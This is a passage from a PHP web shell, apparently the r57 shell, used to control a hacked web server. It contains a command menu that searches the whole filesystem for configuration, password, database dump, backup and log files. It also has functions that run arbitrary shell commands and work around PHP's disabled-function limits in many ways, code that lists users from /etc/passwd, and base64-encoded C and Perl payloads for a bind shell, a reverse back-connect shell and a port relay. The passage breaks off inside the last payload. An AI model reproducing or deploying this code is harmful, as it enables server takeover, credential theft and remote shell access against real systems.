'find all .fetchmailrc files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .fetchmailrc  >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find httpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name httpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find vhosts.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name vhosts.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find proftpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name proftpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find admin.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name admin.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find config* files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "config*"  >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find cfg.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name cfg.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find conf.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name conf.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find config.dat files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.dat >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find config.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find config.inc files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.inc >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find config.inc.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.inc.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find config.default.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.default.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find *.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*.conf" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find *.pwd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*.pwd" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find *.sql files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*.sql" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find *backup* files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*backup*" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find *dump* files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*dump*" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'-----------------------------------'=>'',
'find /var/ auth_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name auth_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find /var/ access_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name access_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find /var/ error_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name error_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find /var/ auth.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name auth.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find /var/ access.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name access.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find /var/ error.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name error.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find /var/ "*_log" files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name "*.log" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find /var/ "*.log" files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name "*.log" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'----------------------------------------------------------------------------------------------------'=>'ls -la'
);
$table_up1  = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: ";
$table_up2  = " ::</div></b></font></td></tr><tr><td>";
$table_up3  = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>";
$table_end1 = "</td></tr>";
$arrow = " <font face=Webdings color=gray>4</font>";
$lb = "<font color=black>[</font>";
$rb = "<font color=black>]</font>";
$font = "<font face=Verdana size=-2>";
$ts = "<table class=table1 width=100% align=center>";
$te = "</table>";
$fs = "<form name=form method=POST>";
$fe = "</form>";

if(isset($_GET['users'])) 
 { 
 if(!$users=get_users('/etc/passwd')) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
 else 
  { 
  echo '<center>';
  foreach($users as $user) { echo $user."<br>"; }
  echo '</center>';
  }
 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); 
 }

if (!empty($_POST['dir'])) { if(@function_exists('chdir')){@chdir($_POST['dir']);} else if(@function_exists('chroot')){ @chroot($_POST['dir']);}; }
if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();};}else{$dir=$_POST['dir'];}
$unix = 0;
if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
if(empty($dir))
 { 
 $os = getenv('OS');
 if(empty($os)){ $os = @php_uname(); } 
 if(empty($os)){ $os ="-"; $unix=1; } 
 else
    {
    if(@eregi("^win",$os)) { $unix = 0; }
    else { $unix = 1; }
    }
 }

if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
  {
    echo $head;
    if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
    else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
    $sr->SearchText(0,0);
    $res = $sr->GetResultFiles();
    $found = $sr->GetMatchesCount();
    $titles = $sr->GetTitles();
    $r = "";
    if($found > 0)
    {
      $r .= "<TABLE width=100%>";
      foreach($res as $file=>$v)
      {
        $r .= "<TR>";
        $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
        $r .= (!$unix)? str_replace("/","\\",$file) : $file;
        $r .= "</b></font></ TD>";
        $r .= "</TR>";
        foreach($v as $a=>$b)
        {
          $r .= "<TR>";
          $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
          $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
          $r .= "</TR>\n";
        }
      }
      $r .= "</TABLE>";
    echo $r;
    }
    else
    {
      echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
    }
  echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
  die(); 
  }                                                          

/*if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }*/
if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }else{$safe_mode = 0;}
$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }

function ws($i)
{
return @str_repeat("&nbsp;",$i);
}

function ex($cfe)
{global $unix,$tempdir;
 $res = '';
 if (!empty($cfe))
 {
  if(@function_exists('exec'))
   {
    @exec($cfe,$res);
    $res = join("\n",$res);
   }
  elseif(@function_exists('shell_exec'))
   {
    $res = @shell_exec($cfe);
   }
  elseif(@function_exists('system'))
   {
    @ob_start();
    @system('$cfe');
    $res = @ob_get_contents();
    @ob_end_clean();
   }
  elseif(@function_exists('passthru'))
   {
    @ob_start();
    @passthru($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
   }
  elseif(@function_exists('popen') && @is_resource($f = @popen($cfe,"r")))
  {
   $res = "";
   if(@function_exists('fread') && @function_exists('feof')){
    while(!@feof($f)) { $res .= @fread($f,1024); }
   }else if(@function_exists('fgets') && @function_exists('feof')){
    while(!@feof($f)) { $res .= @fgets($f,1024); }
   }
   @pclose($f);
  }
  elseif(@function_exists('proc_open') && @is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes)))
  {
   $res = "";
   if(@function_exists('fread') && @function_exists('feof')){
    while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);}
   }else if(@function_exists('fgets') && @function_exists('feof')){
    while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);}
   }
   @proc_close($f);
  }
 }else{$res = safe_ex($cfe);}
 return htmlspecialchars($res);
}


function safe_ex($cfe)
{global $unix,$tempdir;
 $res = '';
 if (!empty($cfe))
 {
   if(extension_loaded('perl')){
     @ob_start();
     $safeperl=new perl();
     $safeperl->eval("system('$cfe')");
     $res = @ob_get_contents();
     @ob_end_clean();
   }
   elseif(!$unix && extension_loaded('ffi')) 
   {
     $output=$tempdir.uniqid('NJ');
     $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
     if(!@function_exists('escapeshellarg')){$res=$api->WinExec("cmd.exe /c $cfe >\"$output\"",0);}
     else{$res=$api->WinExec("cmd.exe /c ".@escapeshellarg($cfe)." >\"$output\"",0);}
     while(!@file_exists($output))sleep(1);
     $res=moreread($output);
     @unlink($output);
   }
   elseif(!$unix && extension_loaded('win32service'))
   {
     $output=$tempdir.uniqid('NJ');
     $n_ser=uniqid('NJ');
     if(!@function_exists('escapeshellarg'))
     {@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c $cfe >\"$output\""));}
     else{@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c ".@escapeshellarg($cfe)." >\"$output\""));}
     @win32_start_service($n_ser);
     @win32_stop_service($n_ser);
     @win32_delete_service($n_ser);
     while(!@file_exists($output))sleep(1);
     $res=moreread($output);
     @unlink($output);
   }
   elseif(!$unix && extension_loaded("win32std"))
   {
     $output=$tempdir.uniqid('NJ');
     if(!@function_exists('escapeshellarg')){@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');}
     else{@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');}
     while(!@file_exists($output))sleep(1);
     $res=moreread($output);
     @unlink($output);
   }
   elseif(!$unix)
   {
     $output=$tempdir.uniqid('NJ');
     $suntzu = new COM("WScript.Shell"); 
     if(!@function_exists('escapeshellarg')){$suntzu->Run('c:\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');}
     else{$suntzu->Run('c:\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');}
     $res=moreread($output);
     @unlink($output);
   }
   elseif(@function_exists('pcntl_exec') && @function_exists('pcntl_fork'))
   {
    $res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
    $output=$tempdir.uniqid('pcntl');
    $pid = @pcntl_fork();
    if ($pid == -1) {
     $res .= '[-] Could not children fork. Exit';
    } else if ($pid) {
         if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';}
         else {$res .= '[-] Error. Command incorrect.';}
    } else {
         $cfe = array(" -e 'system(\"$cfe > $output\")'");
         if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0);
         if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0);
         die();
    }
    $res=moreread($output);
    @unlink($output);
   }
/*   elseif(1)
   {
     
   }
*/
 }
 return htmlspecialchars($res);
}

function get_users($filename)
{
  $users = $rows = array();
  $rows=@explode("\n",moreread($filename));
  if(!$rows[0]){$rows=@explode("\n",readzlib($filename));}
  if(!$rows[0]) return 0;
  foreach ($rows as $string)
   {
   $user = @explode(":",trim($string));
   if(substr($string,0,1)!='#') array_push($users,$user[0]);
   }
  return $users; 
}
function err($n,$txt='')
{
echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>';
echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
if(!empty($txt)) { echo " $txt"; }
echo '</b></div></font></td></tr></table>';
return null;
}
function perms($mode)
{
if (!$GLOBALS['unix']) return 0;
if( $mode & 0x1000 ) { $type='p'; }
else if( $mode & 0x2000 ) { $type='c'; }
else if( $mode & 0x4000 ) { $type='d'; }
else if( $mode & 0x6000 ) { $type='b'; }
else if( $mode & 0x8000 ) { $type='-'; }
else if( $mode & 0xA000 ) { $type='l'; }
else if( $mode & 0xC000 ) { $type='s'; }
else $type='u';
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
return trim($s);
}
function in($type,$name,$size,$value,$checked=0)
{
 $ret = "<input type=".$type." name=".$name." ";
 if($size != 0) { $ret .= "size=".$size." "; }
 $ret .= "value=\"".$value."\"";
 if($checked) $ret .= " checked";
 return $ret.">";
}
function which($pr)
{
$path = '';
$path = ex("which $pr");
if(!empty($path)) { return $path; } else { return false; }
}
function ps($pr)
{global $unix;
$path = '';
if($unix){$path = ex("ps -aux | grep $pr | grep -v 'grep'");}
else{$path = ex("tasklist | findstr \"$pr\"");}
if(!empty($path)) { return $path; } else { return false; }
}
function locate($pr)
{
$path = '';
$path = ex("locate $pr");
if(!empty($path)) { return $path; } else { return false; }
}
function cf($fname,$text)
{
 if(!morewrite($fname,base64_decode($text))){err(0);};
}
function sr($l,$t1,$t2)
 {
 return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
 }
if (!@function_exists("view_size"))
{
function view_size($size)
{
 if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
 elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
 elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
 else {$size = $size . " B";}
 return $size;
}
}
  function DirFilesR($dir,$types='')
  {
    $files = Array();
    if(($handle = @opendir($dir)))
    {
      while (false !== ($file = @readdir($handle)))
      {
        if ($file != "." && $file != "..")
        {
          if(@is_dir($dir."/".$file))
            $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
          else
          {
            $pos = @strrpos($file,".");
            $ext = @substr($file,$pos,@strlen($file)-$pos);
            if($types)
            {
              if(@in_array($ext,explode(';',$types)))
                $files[] = $dir."/".$file;
            }
            else
              $files[] = $dir."/".$file;
          }
        }
      }
      @closedir($handle);
    }
    return $files;
  }
  class SearchResult
  {
    var $text;
    var $FilesToSearch;
    var $ResultFiles;
    var $FilesTotal;
    var $MatchesCount;
    var $FileMatschesCount;
    var $TimeStart;
    var $TimeTotal;
    var $titles;
    function SearchResult($dir,$text,$filter='')
    {
      $dirs = @explode(";",$dir);
      $this->FilesToSearch = Array();
      for($a=0;$a<count($dirs);$a++)
        $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
      $this->text = $text;
      $this->FilesTotal = @count($this->FilesToSearch);
      $this->TimeStart = getmicrotime();
      $this->MatchesCount = 0;
      $this->ResultFiles = Array();
      $this->FileMatchesCount = Array();
      $this->titles = Array();
    }
    function GetFilesTotal() { return $this->FilesTotal; }
    function GetTitles() { return $this->titles; }
    function GetTimeTotal() { return $this->TimeTotal; }
    function GetMatchesCount() { return $this->MatchesCount; }
    function GetFileMatchesCount() { return $this->FileMatchesCount; }
    function GetResultFiles() { return $this->ResultFiles; }
    function SearchText($phrase=0,$case=0) {
    $qq = @explode(' ',$this->text);
    $delim = '|';
      if($phrase)
        foreach($qq as $k=>$v)
          $qq[$k] = '\b'.$v.'\b';
      $words = '('.@implode($delim,$qq).')';
      $pattern = "/".$words."/";
      if(!$case)
        $pattern .= 'i';
      foreach($this->FilesToSearch as $k=>$filename)
      {
        $this->FileMatchesCount[$filename] = 0;
        $FileStrings = @file($filename) or @next;
        for($a=0;$a<@count($FileStrings);$a++)
        {
          $count = 0;
          $CurString = $FileStrings[$a];
          $CurString = @Trim($CurString);
          $CurString = @strip_tags($CurString);
          $aa = '';
          if(($count = @preg_match_all($pattern,$CurString,$aa)))
          {
            $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
            $this->ResultFiles[$filename][$a+1] = $CurString;
            $this->MatchesCount += $count;
            $this->FileMatchesCount[$filename] += $count;
          }
        }
      }
      $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
    }
  }
  function getmicrotime()
  {
    list($usec,$sec) = @explode(" ",@microtime());
    return ((float)$usec + (float)$sec);
  }
$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9";
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
